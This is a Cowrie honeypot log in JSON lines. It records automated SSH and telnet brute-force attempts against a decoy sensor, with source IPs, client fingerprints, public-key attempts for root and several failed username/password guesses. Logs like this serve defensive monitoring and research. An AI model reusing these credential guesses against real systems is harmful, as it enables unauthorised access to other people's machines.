{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"41:dc:14:0b:9b:78:52:b0:3c:d3:50:37:5d:56:52:d6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4xeem0O9hxe4e9VOQ3ZUOalM9tt+SgNpStOnWKSGfcS17viHIYOtX4Ch1kywwvM8nTybZUmk/VuOanxA7KLh1roJFsmz64fOacMx3FddxmYycG5EVsvwokXUFz9Fp9weSrrJ7Me1cPQqSGvHM+p8VSNx94ZaAf83BLOfpD7a4PpPphjpE2P0nN1zojzlUg9z8/ZRlR+wdH3tXe0l+bOYlwuFxEQfETfFFgcoJxAcjxsc8EYeS7m6SpkWbKPm/r1TWVgxMLfv3fiuCaCbI0rS01KVFfa4qv1YJzbe/Woo8fMG6Y17O5fd5KcV6yVvM4j0vIIAl7n3++LziSt9E5J4j","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 41:dc:14:0b:9b:78:52:b0:3c:d3:50:37:5d:56:52:d6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:21:40.025558Z","src_ip":"78.111.67.242","session":"98d7e0dbea75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"41:dc:14:0b:9b:78:52:b0:3c:d3:50:37:5d:56:52:d6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4xeem0O9hxe4e9VOQ3ZUOalM9tt+SgNpStOnWKSGfcS17viHIYOtX4Ch1kywwvM8nTybZUmk/VuOanxA7KLh1roJFsmz64fOacMx3FddxmYycG5EVsvwokXUFz9Fp9weSrrJ7Me1cPQqSGvHM+p8VSNx94ZaAf83BLOfpD7a4PpPphjpE2P0nN1zojzlUg9z8/ZRlR+wdH3tXe0l+bOYlwuFxEQfETfFFgcoJxAcjxsc8EYeS7m6SpkWbKPm/r1TWVgxMLfv3fiuCaCbI0rS01KVFfa4qv1YJzbe/Woo8fMG6Y17O5fd5KcV6yVvM4j0vIIAl7n3++LziSt9E5J4j","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:21:40.029708Z","src_ip":"78.111.67.242","session":"98d7e0dbea75","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"87:38:a3:c3:a1:d0:22:81:8b:8f:b4:ab:b7:d2:90:d7","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILJAyfmI9j63oBCNB95uLdfHjqpJj80vN/Wn8W+wxXoQ","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 87:38:a3:c3:a1:d0:22:81:8b:8f:b4:ab:b7:d2:90:d7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:21:40.121036Z","src_ip":"78.111.67.242","session":"98d7e0dbea75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"87:38:a3:c3:a1:d0:22:81:8b:8f:b4:ab:b7:d2:90:d7","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILJAyfmI9j63oBCNB95uLdfHjqpJj80vN/Wn8W+wxXoQ","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:21:40.124581Z","src_ip":"78.111.67.242","session":"98d7e0dbea75","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3e:7e:e9:2b:8f:13:f3:b3:11:95:6f:a7:e5:41:e4:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCs/+pPQguwrZEMJ/G2rT79fYxiNnz3vg2+imMNFS4NrtwrH9/muz8z+L7OiYVzihe8zJu0b2NbF6/RkF8kIrpFzUvOCr0y//EahQ6Svzc2DA9Vx3HHF9KmPh+/YiH0wMv5h3Q707IbTKXLHr+xkQvHJ1EFg2MwgwbaQYxbjJ16tdgVzbFbcN29s5lmIpSxq6UWILiHFJIKewREH3+OQImI9svBZqNbcJiCU+0qonraNC74LgMUje10UHx9ia9G92lNxhEuo7mSAoNUf1VeNDOJiDPjYCgtLZqfOF5tzTUUesWYt0YC03hpKT9KmOlFECWtYKdLAYA+peidRM3YzrjN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3e:7e:e9:2b:8f:13:f3:b3:11:95:6f:a7:e5:41:e4:f5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:21:40.221606Z","src_ip":"78.111.67.242","session":"98d7e0dbea75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3e:7e:e9:2b:8f:13:f3:b3:11:95:6f:a7:e5:41:e4:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCs/+pPQguwrZEMJ/G2rT79fYxiNnz3vg2+imMNFS4NrtwrH9/muz8z+L7OiYVzihe8zJu0b2NbF6/RkF8kIrpFzUvOCr0y//EahQ6Svzc2DA9Vx3HHF9KmPh+/YiH0wMv5h3Q707IbTKXLHr+xkQvHJ1EFg2MwgwbaQYxbjJ16tdgVzbFbcN29s5lmIpSxq6UWILiHFJIKewREH3+OQImI9svBZqNbcJiCU+0qonraNC74LgMUje10UHx9ia9G92lNxhEuo7mSAoNUf1VeNDOJiDPjYCgtLZqfOF5tzTUUesWYt0YC03hpKT9KmOlFECWtYKdLAYA+peidRM3YzrjN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:21:40.225538Z","src_ip":"78.111.67.242","session":"98d7e0dbea75","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"34:8b:e0:84:8d:21:1a:a4:90:96:4c:c8:29:c0:e9:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDARdJbgoBhX8awpgQaxO6iId3IzY0otALmOYPj3XA0o4ts2Rmz4rp2SZfk24oIbPjE9X8TCmk6hCoFminBG79K9LY2Tjj4jmpihGT8vj8mizfCQMTpg7kvO31+Y1LO2kNMw5OzMC16QNmwne53tk1YDB1pam2gvFgXMQSreOc4qNqU7Dh/UVPTVfP5f6gC6z1PnMSVvxA4qH6QQfQijYnMkyvAid85wkHRs5nsRm0yRcaD3vYhrJ6u1jgGf8aqiSCKtIq/ew61QpskfyRsfb8Q30fBqopOJZ8i3RqJ9+TR8XklD/Hquo1PYVvVx9C9+rKUlMet2TQ9D7r31FGHMQLT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 34:8b:e0:84:8d:21:1a:a4:90:96:4c:c8:29:c0:e9:13","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:21:40.317311Z","src_ip":"78.111.67.242","session":"98d7e0dbea75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"34:8b:e0:84:8d:21:1a:a4:90:96:4c:c8:29:c0:e9:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDARdJbgoBhX8awpgQaxO6iId3IzY0otALmOYPj3XA0o4ts2Rmz4rp2SZfk24oIbPjE9X8TCmk6hCoFminBG79K9LY2Tjj4jmpihGT8vj8mizfCQMTpg7kvO31+Y1LO2kNMw5OzMC16QNmwne53tk1YDB1pam2gvFgXMQSreOc4qNqU7Dh/UVPTVfP5f6gC6z1PnMSVvxA4qH6QQfQijYnMkyvAid85wkHRs5nsRm0yRcaD3vYhrJ6u1jgGf8aqiSCKtIq/ew61QpskfyRsfb8Q30fBqopOJZ8i3RqJ9+TR8XklD/Hquo1PYVvVx9C9+rKUlMet2TQ9D7r31FGHMQLT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:21:40.321074Z","src_ip":"78.111.67.242","session":"98d7e0dbea75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:21:40.412812Z","src_ip":"78.111.67.242","session":"98d7e0dbea75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.226.76.20","src_port":59840,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b7beeece503","protocol":"telnet","message":"New connection: 216.226.76.20:59840 (159.203.135.109:23) [session: 5b7beeece503]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:21:44.015848Z"}
{"eventid":"cowrie.session.closed","duration":0.005177974700927734,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:21:44.020888Z","src_ip":"216.226.76.20","session":"5b7beeece503","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":44648,"dst_ip":"10.17.0.5","dst_port":22,"session":"70fa8c095616","protocol":"ssh","message":"New connection: 103.15.226.202:44648 (10.17.0.5:22) [session: 70fa8c095616]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:21:57.111902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:21:57.116844Z","src_ip":"103.15.226.202","session":"70fa8c095616","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:21:57.356027Z","src_ip":"103.15.226.202","session":"70fa8c095616","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Apple@123","message":"login attempt [root/Apple@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:21:58.076305Z","src_ip":"103.15.226.202","session":"70fa8c095616","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:21:59.323866Z","src_ip":"103.15.226.202","session":"70fa8c095616","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.462809562683105,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:22:04.878196Z","src_ip":"128.199.8.54","session":"5b3c8d5db0a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.242.74","src_port":53556,"dst_ip":"159.203.135.109","dst_port":22,"session":"78dbc34b1ee4","protocol":"ssh","message":"New connection: 43.160.242.74:53556 (159.203.135.109:22) [session: 78dbc34b1ee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:22:10.272612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:22:10.277468Z","src_ip":"43.160.242.74","session":"78dbc34b1ee4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:22:10.523420Z","src_ip":"43.160.242.74","session":"78dbc34b1ee4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"matt","message":"login attempt [postgres/matt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:22:11.538223Z","src_ip":"43.160.242.74","session":"78dbc34b1ee4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:22:12.788246Z","src_ip":"43.160.242.74","session":"78dbc34b1ee4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38666,"dst_ip":"159.203.135.109","dst_port":23,"session":"3cbacd25dc6c","protocol":"telnet","message":"New connection: 128.199.8.54:38666 (159.203.135.109:23) [session: 3cbacd25dc6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:22:15.142637Z"}
{"eventid":"cowrie.session.connect","src_ip":"118.194.229.94","src_port":45562,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3d063064c77","protocol":"ssh","message":"New connection: 118.194.229.94:45562 (159.203.135.109:22) [session: c3d063064c77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:22:20.398662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:22:20.403971Z","src_ip":"118.194.229.94","session":"c3d063064c77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:22:20.563569Z","src_ip":"118.194.229.94","session":"c3d063064c77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"password1234567","message":"login attempt [deploy/password1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:22:21.213365Z","src_ip":"118.194.229.94","session":"c3d063064c77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:22:22.371885Z","src_ip":"118.194.229.94","session":"c3d063064c77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":53914,"dst_ip":"159.203.135.109","dst_port":23,"session":"b66d5f8e2443","protocol":"telnet","message":"New connection: 128.199.8.54:53914 (159.203.135.109:23) [session: b66d5f8e2443]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:22:22.748315Z"}
{"eventid":"cowrie.session.closed","duration":32.41002559661865,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:22:47.552531Z","src_ip":"128.199.8.54","session":"3cbacd25dc6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54554,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc2776ec6e21","protocol":"telnet","message":"New connection: 128.199.8.54:54554 (159.203.135.109:23) [session: bc2776ec6e21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:22:50.126105Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":27288,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2de94b38d8c","protocol":"ssh","message":"New connection: 194.59.206.2:27288 (159.203.135.109:22) [session: c2de94b38d8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:22:56.841453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:22:56.845788Z","src_ip":"194.59.206.2","session":"c2de94b38d8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:22:56.935820Z","src_ip":"194.59.206.2","session":"c2de94b38d8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.28256940841675,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:22:57.030760Z","src_ip":"128.199.8.54","session":"b66d5f8e2443","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:22:57.035486Z","src_ip":"194.59.206.2","session":"c2de94b38d8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":48490,"dst_ip":"159.203.135.109","dst_port":23,"session":"07b87f84c2be","protocol":"telnet","message":"New connection: 128.199.8.54:48490 (159.203.135.109:23) [session: 07b87f84c2be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:23:01.268097Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.242.74","src_port":38738,"dst_ip":"159.203.135.109","dst_port":22,"session":"479d1b1984c3","protocol":"ssh","message":"New connection: 43.160.242.74:38738 (159.203.135.109:22) [session: 479d1b1984c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:23:07.738486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:23:07.743747Z","src_ip":"43.160.242.74","session":"479d1b1984c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:23:07.974120Z","src_ip":"43.160.242.74","session":"479d1b1984c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"letmein","message":"login attempt [user/letmein] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:23:08.950233Z","src_ip":"43.160.242.74","session":"479d1b1984c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:23:10.182401Z","src_ip":"43.160.242.74","session":"479d1b1984c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.08413052558899,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:23:24.210112Z","src_ip":"128.199.8.54","session":"bc2776ec6e21","protocol":"telnet"}
